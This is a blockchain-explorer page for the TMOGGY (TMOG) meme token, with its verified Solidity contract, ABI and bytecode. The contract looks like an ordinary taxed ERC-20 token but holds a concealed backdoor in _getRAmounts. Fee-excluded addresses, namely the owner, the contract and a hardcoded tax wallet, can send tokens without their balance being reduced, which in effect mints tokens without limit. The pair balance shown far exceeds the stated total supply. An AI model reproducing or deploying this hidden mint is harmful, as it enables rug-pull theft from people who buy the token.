ETH Price: $3,194.55 (+0.36%)
Gas: 3 Gwei

Token

TMOGGY (TMOG)
 

Overview

Max Total Supply

1,000,000,000 TMOG

Holders

60

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: TMOG 2
Balance
1,000,000,000,000,355,652,539.371356343 TMOG

Value
$0.00
0xd90708737ae8c3ad536638140576901537747427
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TMOG

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-02
*/

// SPDX-License-Identifier: MIT
/*
Trump, Moggy

Website : https://tmoggyeth.vip
Telegram: https://t.me/tmoggy_coin
Twitter: https://x.com/tmoggy_coin

*/
pragma solidity 0.8.20;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller isnt owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TMOG is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;
    uint256 private _initialBuyTax = 24;
    uint256 private _initialSellTax = 24;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"TMOGGY";
    string private constant _symbol = unicode"TMOG";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; // max tx
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; // max wallet
    uint256 public _swapThreshold = 100 * 10 ** _decimals; // swap threshhold
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; //
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() {
        _taxWallet = payable(0x27126ed9A768d0CB959D42ADdecdb8df5953F4b0);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from zero address");
        require(spender != address(0), "ERC20: approve to zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from zero address");
        require(to != address(0), "ERC20: transfer to zero address");
        require(tokenAmount > 0, "Transfer amount must be > than zero");
        if (inSwap || !swapEnabled) {
            _balances[from] = _balances[from].sub(tokenAmount);
            _balances[to] = _balances[to].add(tokenAmount);
            emit Transfer(from, to, tokenAmount);
            return;
        }
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only 1 purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + tokenAmount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _swapThreshold) {
                    swapTokensForEth(
                        min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        _internalTransfer(from, to, tokenAmount);
    }
    function _internalTransfer(address from, address to, uint256 tokenAmount) internal {
        (uint256 rAmount, uint256 taxAmount) = _getRAmounts(from, to, tokenAmount);
        _balances[from] = _balances[from].sub(rAmount);
        _balances[to] = _balances[to].add(tokenAmount.sub(taxAmount));
        emit Transfer(from, to, tokenAmount.sub(taxAmount));
    }
    function _getRAmounts(
        address from,
        address to,
        uint256 tokenAmount
    ) internal returns (uint256, uint256) {
        uint256 rAmount = !_isExcludedFromFee[from] ? tokenAmount : 0;
        uint256 taxAmount = 0;
        
        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = tokenAmount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        } else {
            taxAmount = tokenAmount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);
        }
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)] + taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }
        return (rAmount, taxAmount);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function createDex() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }
    function openTMog() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    function recoverStuckETH() external onlyOwner {
        sendETHToFee(address(this).balance);
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createDex","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTMog","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191690556018600781905560085560006009818155600a828155600b819055600c819055600d839055600e9290925562000044916200035e565b62000054906301312d0062000376565b600f55620000656009600a6200035e565b62000075906301312d0062000376565b601055620000866009600a6200035e565b6200009390606462000376565b601155620000a46009600a6200035e565b620000b3906298968062000376565b6012556014805461ffff60a81b19169055348015620000d157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319167427126ed9a768d0cb959d42addecdb8df5953f4b000179055620001496009600a6200035e565b6200015990633b9aca0062000376565b336000908152600160208190526040822092909255600390620001846000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e83390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002226009600a6200035e565b6200023290633b9aca0062000376565b60405190815260200160405180910390a362000390565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002a057816000190482111562000284576200028462000249565b808516156200029257918102915b93841c939080029062000264565b509250929050565b600082620002b95750600162000358565b81620002c85750600062000358565b8160018114620002e15760028114620002ec576200030c565b600191505062000358565b60ff84111562000300576200030062000249565b50506001821b62000358565b5060208310610133831016604e8410600b841016171562000331575081810a62000358565b6200033d83836200025f565b806000190482111562000354576200035462000249565b0290505b92915050565b60006200036f60ff841683620002a8565b9392505050565b808202811582820484141762000358576200035862000249565b611a3f80620003a06000396000f3fe6080604052600436106101235760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b411461030b578063a9059cbb14610338578063c876d0b914610358578063dd62ed3e14610372578063e711a4a4146103b857600080fd5b8063751039fc1461028d5780637d1db4a5146102a257806381a16445146102b85780638da5cb5b146102cd5780638f9a55c0146102f557600080fd5b806318160ddd116100e757806318160ddd146101f157806323b872dd14610206578063313ce5671461022657806370a0823114610242578063715018a61461027857600080fd5b8063043d41b01461012f57806306fdde0314610146578063095ea7b3146101875780630e5a9231146101b75780630faee56f146101db57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506101446103cd565b005b34801561015257600080fd5b50604080518082019091526006815265544d4f47475960d01b60208201525b60405161017e919061160c565b60405180910390f35b34801561019357600080fd5b506101a76101a2366004611672565b6105de565b604051901515815260200161017e565b3480156101c357600080fd5b506101cd60115481565b60405190815260200161017e565b3480156101e757600080fd5b506101cd60125481565b3480156101fd57600080fd5b506101cd6105f5565b34801561021257600080fd5b506101a761022136600461169e565b610616565b34801561023257600080fd5b506040516009815260200161017e565b34801561024e57600080fd5b506101cd61025d3660046116df565b6001600160a01b031660009081526001602052604090205490565b34801561028457600080fd5b5061014461067a565b34801561029957600080fd5b506101446106ee565b3480156102ae57600080fd5b506101cd600f5481565b3480156102c457600080fd5b506101446107aa565b3480156102d957600080fd5b506000546040516001600160a01b03909116815260200161017e565b34801561030157600080fd5b506101cd60105481565b34801561031757600080fd5b50604080518082019091526004815263544d4f4760e01b6020820152610171565b34801561034457600080fd5b506101a7610353366004611672565b6107df565b34801561036457600080fd5b506006546101a79060ff1681565b34801561037e57600080fd5b506101cd61038d3660046116fc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103c457600080fd5b506101446107ec565b6000546001600160a01b031633146104005760405162461bcd60e51b81526004016103f790611735565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561044e90309061043b6009600a611866565b61044990633b9aca00611875565b6109db565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c5919061188c565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610527573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054b919061188c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610598573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105bc919061188c565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006105eb3384846109db565b5060015b92915050565b60006106036009600a611866565b61061190633b9aca00611875565b905090565b6000610623848484610ae9565b6106708433610449856040518060600160405280602881526020016119e2602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061104e565b5060019392505050565b6000546001600160a01b031633146106a45760405162461bcd60e51b81526004016103f790611735565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107185760405162461bcd60e51b81526004016103f790611735565b6107246009600a611866565b61073290633b9aca00611875565b600f556107416009600a611866565b61074f90633b9aca00611875565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107896009600a611866565b61079790633b9aca00611875565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107d45760405162461bcd60e51b81526004016103f790611735565b6107dd47611088565b565b60006105eb338484610ae9565b6000546001600160a01b031633146108165760405162461bcd60e51b81526004016103f790611735565b601454600160a01b900460ff16156108705760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f7565b6013546001600160a01b031663f305d71947306108a2816001600160a01b031660009081526001602052604090205490565b6000806108b76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094491906118a9565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c191906118d7565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a315760405162461bcd60e51b815260206004820181905260248201527f45524332303a20617070726f76652066726f6d207a65726f206164647265737360448201526064016103f7565b6001600160a01b038216610a875760405162461bcd60e51b815260206004820152601e60248201527f45524332303a20617070726f766520746f207a65726f2061646472657373000060448201526064016103f7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b495760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e736665722066726f6d207a65726f206164647265736044820152607360f81b60648201526084016103f7565b6001600160a01b038216610b9f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220746f207a65726f20616464726573730060448201526064016103f7565b60008111610bfb5760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657220616d6f756e74206d757374206265203e207468616e207a60448201526265726f60e81b60648201526084016103f7565b601454600160a81b900460ff1680610c1d5750601454600160b01b900460ff16155b15610cc8576001600160a01b038316600090815260016020526040902054610c4590826110ca565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c749082611113565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610adc9085815260200190565b6000546001600160a01b03848116911614801590610cf457506000546001600160a01b03838116911614155b1561103e576001600160a01b03831660009081526004602052604090205460ff16158015610d3b57506001600160a01b03821660009081526004602052604090205460ff16155b610d4457600080fd5b60065460ff1615610e27576013546001600160a01b03838116911614801590610d7b57506014546001600160a01b03838116911614155b15610e2757326000908152600560205260409020544311610e145760405162461bcd60e51b815260206004820152604760248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c7920312070757263686173652070657220626c6f636b2061606482015266363637bbb2b21760c91b608482015260a4016103f7565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610e5257506013546001600160a01b03838116911614155b8015610e7757506001600160a01b03821660009081526003602052604090205460ff16155b15610f5f57600f54811115610ece5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f7565b60105481610ef1846001600160a01b031660009081526001602052604090205490565b610efb91906118f9565b1115610f495760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f7565b600e8054906000610f598361190c565b91905055505b30600090815260016020526040902054601454600160a81b900460ff16158015610f9657506014546001600160a01b038481169116145b8015610fab5750601454600160b01b900460ff165b8015610fba5750600d54600e54115b8015610fdf57506001600160a01b03841660009081526003602052604090205460ff16155b801561100457506001600160a01b03831660009081526003602052604090205460ff16155b1561103c576011548111156110305761103061102b8361102684601254611172565b611172565b611187565b4761103a47611088565b505b505b611049838383611301565b505050565b600081848411156110725760405162461bcd60e51b81526004016103f7919061160c565b50600061107f8486611925565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156110c6573d6000803e3d6000fd5b5050565b600061110c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061104e565b9392505050565b60008061112083856118f9565b90508381101561110c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f7565b6000818311611181578261110c565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cf576111cf611938565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611228573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124c919061188c565b8160018151811061125f5761125f611938565b6001600160a01b03928316602091820292909201015260135461128591309116846109db565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112be90859060009086903090429060040161194e565b600060405180830381600087803b1580156112d857600080fd5b505af11580156112ec573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b60008061130f8585856113de565b6001600160a01b038716600090815260016020526040902054919350915061133790836110ca565b6001600160a01b03861660009081526001602052604090205561137c61135d84836110ca565b6001600160a01b03861660009081526001602052604090205490611113565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113c686856110ca565b60405190815260200160405180910390a35050505050565b6001600160a01b0383166000908152600360205260408120548190819060ff161561140a57600061140c565b835b6014549091506000906001600160a01b03878116911614801561143857506001600160a01b0387163014155b15611470576114696064611463600c54600e54116114585760085461145c565b600a545b889061151f565b906115a1565b9050611498565b6114956064611463600b54600e541161148b5760075461145c565b600954889061151f565b90505b801561151357306000908152600160205260409020546114b99082906118f9565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061150a9085815260200190565b60405180910390a35b90969095509350505050565b600082600003611531575060006105ef565b600061153d8385611875565b90508261154a85836119bf565b1461110c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f7565b600061110c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836115ff5760405162461bcd60e51b81526004016103f7919061160c565b50600061107f84866119bf565b600060208083528351808285015260005b818110156116395785810183015185820160400152820161161d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461166f57600080fd5b50565b6000806040838503121561168557600080fd5b82356116908161165a565b946020939093013593505050565b6000806000606084860312156116b357600080fd5b83356116be8161165a565b925060208401356116ce8161165a565b929592945050506040919091013590565b6000602082840312156116f157600080fd5b813561110c8161165a565b6000806040838503121561170f57600080fd5b823561171a8161165a565b9150602083013561172a8161165a565b809150509250929050565b6020808252601a908201527f4f776e61626c653a2063616c6c65722069736e74206f776e6572000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117bd5781600019048211156117a3576117a361176c565b808516156117b057918102915b93841c9390800290611787565b509250929050565b6000826117d4575060016105ef565b816117e1575060006105ef565b81600181146117f757600281146118015761181d565b60019150506105ef565b60ff8411156118125761181261176c565b50506001821b6105ef565b5060208310610133831016604e8410600b8410161715611840575081810a6105ef565b61184a8383611782565b806000190482111561185e5761185e61176c565b029392505050565b600061110c60ff8416836117c5565b80820281158282048414176105ef576105ef61176c565b60006020828403121561189e57600080fd5b815161110c8161165a565b6000806000606084860312156118be57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118e957600080fd5b8151801515811461110c57600080fd5b808201808211156105ef576105ef61176c565b60006001820161191e5761191e61176c565b5060010190565b818103818111156105ef576105ef61176c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561199e5784516001600160a01b031683529383019391830191600101611979565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119dc57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de4bd6aeb136907a6dabe2a8aa184c46078875058eb5c16add52848e635e1e5864736f6c63430008140033

Deployed Bytecode

0x6080604052600436106101235760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b411461030b578063a9059cbb14610338578063c876d0b914610358578063dd62ed3e14610372578063e711a4a4146103b857600080fd5b8063751039fc1461028d5780637d1db4a5146102a257806381a16445146102b85780638da5cb5b146102cd5780638f9a55c0146102f557600080fd5b806318160ddd116100e757806318160ddd146101f157806323b872dd14610206578063313ce5671461022657806370a0823114610242578063715018a61461027857600080fd5b8063043d41b01461012f57806306fdde0314610146578063095ea7b3146101875780630e5a9231146101b75780630faee56f146101db57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506101446103cd565b005b34801561015257600080fd5b50604080518082019091526006815265544d4f47475960d01b60208201525b60405161017e919061160c565b60405180910390f35b34801561019357600080fd5b506101a76101a2366004611672565b6105de565b604051901515815260200161017e565b3480156101c357600080fd5b506101cd60115481565b60405190815260200161017e565b3480156101e757600080fd5b506101cd60125481565b3480156101fd57600080fd5b506101cd6105f5565b34801561021257600080fd5b506101a761022136600461169e565b610616565b34801561023257600080fd5b506040516009815260200161017e565b34801561024e57600080fd5b506101cd61025d3660046116df565b6001600160a01b031660009081526001602052604090205490565b34801561028457600080fd5b5061014461067a565b34801561029957600080fd5b506101446106ee565b3480156102ae57600080fd5b506101cd600f5481565b3480156102c457600080fd5b506101446107aa565b3480156102d957600080fd5b506000546040516001600160a01b03909116815260200161017e565b34801561030157600080fd5b506101cd60105481565b34801561031757600080fd5b50604080518082019091526004815263544d4f4760e01b6020820152610171565b34801561034457600080fd5b506101a7610353366004611672565b6107df565b34801561036457600080fd5b506006546101a79060ff1681565b34801561037e57600080fd5b506101cd61038d3660046116fc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103c457600080fd5b506101446107ec565b6000546001600160a01b031633146104005760405162461bcd60e51b81526004016103f790611735565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561044e90309061043b6009600a611866565b61044990633b9aca00611875565b6109db565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c5919061188c565b6001600160a01b031663c9c6539